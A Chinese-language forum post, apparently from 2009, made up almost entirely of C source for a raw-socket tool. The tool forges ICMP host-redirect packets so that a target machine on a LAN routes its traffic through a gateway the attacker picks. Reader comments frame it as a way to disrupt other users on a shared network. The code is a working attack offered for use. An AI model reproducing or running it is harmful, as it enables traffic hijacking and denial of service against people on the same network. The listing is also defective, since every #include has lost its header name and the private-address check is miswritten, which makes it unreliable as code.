/* 本程序在FreeBSD 5.3环境下编译通过 */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define _FAVOR_BSD
#include
#include
#define CHKADDRESS(_saddr_)\
{\
u_char *p = (char *) & (_saddr_); \
if((p[0] == 10) \
|| (p[0] == 168 && 16<= p[1] && p[1] <=31) \
|| (p[0] == 192 && p[1] == 168))\
; \
else{\
fprintf(stderr,"IP address error. \n"); \
exit(EXIT_FAILURE); \
}\
}
enum{CMD_NAME,TARGET_IP,OLD_ROUTER,NEW_ROUTER,DST_IP};
void make_udp_header(struct udphdr *udp);
void make_ip_header(struct ip *ip,int target_ip,int dst_ip,int proto,
int iplen);
void make_icmp5_header (struct icmp *icmp,u_int gw_ip);
u_short checksum (u_short *ptr,int nbytes);
int main(int argc,char *argv[])
{
struct sockaddr_in dest; /* 接收端主机的地址 */
unsigned char buff[1500]; /* 发送缓冲区 */
struct ip *ip_new; /* 访问IP报头的指针 */
struct ip *ip_old; /* 访问IP报头的指针 */
struct icmp * icmp; /* 访问ICMP报头的指针 */
struct udphdr *udp; /* 访问UDP报头的指针 */
int s; /* 套接字描述符 */
int size;
int on = 1; /* ON */
/* 检查命令行的实际参数 */
if(argc != 5){
fprintf(stderr,"usage %s targetd_host old_router new_router dst_ip\n",
argv[CMD_NAME]);
exit(EXIT_FAILURE);
}
/* 打开一个RAW套接字 */
if( (s = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0){
perror("socket (SOCK_RAM)");
exit(EXIT_FAILURE);
}
if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *) &on,sizeof(on))<0){
perror("setsockopt(IP_HDRINCL)");
exit(EXIT_FAILURE);
}
/* 设定各个报头的指针 */
/* IP(20)+ICMP(8)+IP(20)+UDP(8) */
ip_new = (struct ip *)(buff);
icmp = (struct icmp *)(buff+20);
ip_old = (struct ip *)(buff+20+8);
udp = (struct udphdr *)(buff+20+8+20);
size = 20+8+20+8;
/* 生成一个包 */
make_udp_header(udp);
make_ip_header(ip_old,inet_addr(argv[TARGET_IP]),inet_addr(argv[DST_IP]),IPPROTO_UDP,100);
make_icmp5_header(icmp,inet_addr(argv[NEW_ROUTER]));
make_ip_header(ip_new,inet_addr(argv[OLD_ROUTER]),
inet_addr(argv[TARGET_IP]),IPPROTO_ICMP,size);
/* 设定发送的地址 */
memset((char*)&dest,0,sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr(argv[TARGET_IP]);
CHKADDRESS(dest.sin_addr.s_addr);
/* 发送一个包 */
if(sendto(s,buff,size,0,(struct sockaddr *)&dest,sizeof(dest))<0){
perror("sendto");
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
/*
/* void make_ip_header(struct ip *ip,int target_ip,int dst_ip,int proto,
int iplen)
* 功能
* 生成一个IP报头
* 实际参数
* struct ip *ip; 生成IP报头的初始地址
* int target_ip; 发送端IP地址
* int dst_ip; 发送端IP地址
* int proto; 协议
* int iplen; IP数据报的全长
* 返回值
* 无
*/
void make_ip_header(struct ip *ip,int target_ip,int dst_ip,int proto,
int iplen)
{
memset( (char *)ip,0,sizeof(struct ip));
/* 生成一个IP报头 */
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_id = htons(0);
ip->ip_off = 0;
#ifdef _linux
/* Linux的Raw IP */
ip->ip_len = htons(iplen);
ip->ip_off = htons(IP_DF);
#else
/* BSD的Raw IP */
ip->ip_len = iplen;
ip->ip_off=IP_DF;
#endif
ip->ip_ttl = 2;
ip->ip_p = proto;
ip->ip_src.s_addr = target_ip;
ip->ip_dst.s_addr = dst_ip;
/* 计算检查和 */
ip->ip_sum = 0;
ip->ip_sum = checksum( (u_short *)ip,sizeof(struct ip));
}
/*
* void make_icmp5_header(struct icmp *icmp,u_int gw_ip);
/* 功能
/* 生成一个ICMP类型5(重发)的报头
/* 实际参数
* struct icmp *icmp;生成ICMP报头的初始地址
* int n;ICMP响应请求的序列号
* 返回值
* 无
*/
void make_icmp5_header(struct icmp *icmp,u_int gw_ip)
{
icmp->icmp_type = ICMP_REDIRECT;
icmp->icmp_code = ICMP_REDIRECT_HOST;
icmp->icmp_gwaddr.s_addr = gw_ip;
icmp->icmp_cksum = 0;
icmp->icmp_cksum = checksum( (u_short *) icmp,8+20+8);
/* ICMP(8)+IP(20)+UDP(8) */
}
/*
* void make_udp_header(struct udphdr *udp);
* 功能
* 生成一个UDP报头
* 实际参数
* struct udphdr *udp;生成一个UDP报头的初始地址
* 返回值
* 无
*/
void make_udp_header(struct udphdr *udp)
{
udp->uh_sport = htons(0);
udp->uh_ulen = htons((u_short)sizeof(struct udphdr));
udp->uh_dport = htons(33434);
udp->uh_sum = htons(0);
}
/*
* u_short checksum(u_short *data.int len);
* 功能
* 计算检查和
* 实际参数
* u_short *data; 求检查和的数据
* int len; 数据的字节数
* 返回值
* u_short 检查和的值(补码值)
*/
u_short checksum(u_short *data,int len)
{
u_long sum = 0; /* 计算检查和 */
/* 每次增加2 Byte */
for(;len>1;len-=2){
sum+= *data++;
if(sum&0x80000000)
sum = (sum&0xffff)+(sum>>16);
}
/* 数据长度为奇数个字节的处理 */
if(len==1){
u_short i = 0;
* (u_char*)(&i) = * (u_char *)data;
sum+= i;
}
/* 溢出的位折返处理 */
while(sum>>16)
sum = (sum&0xffff)+(sum>>16);
return(sum==0xffff)? sum:~sum;
}
xzj4167 于 2009-08-15 08:50:36发表:
呵呵 一肚子坏水
zhangfei0554 于 2009-08-14 23:34:57发表:
能用吗
ysjsssdc 于 2009-08-12 09:39:25发表:
直接断线,更实在
hwjb90 于 2009-05-26 13:07:53发表:
晕了..很好很强大!!!:987w(1
Laifus 于 2009-05-23 15:34:31发表:
沙发的汗
busixiaozi 于 2009-05-23 15:30:18发表:
在一个局域网内,如果发现自己网速慢,就》》》》》》》》》》》》》》
刘冲 于 2009-05-23 15:24:14发表:
怎么不直接拔他网线?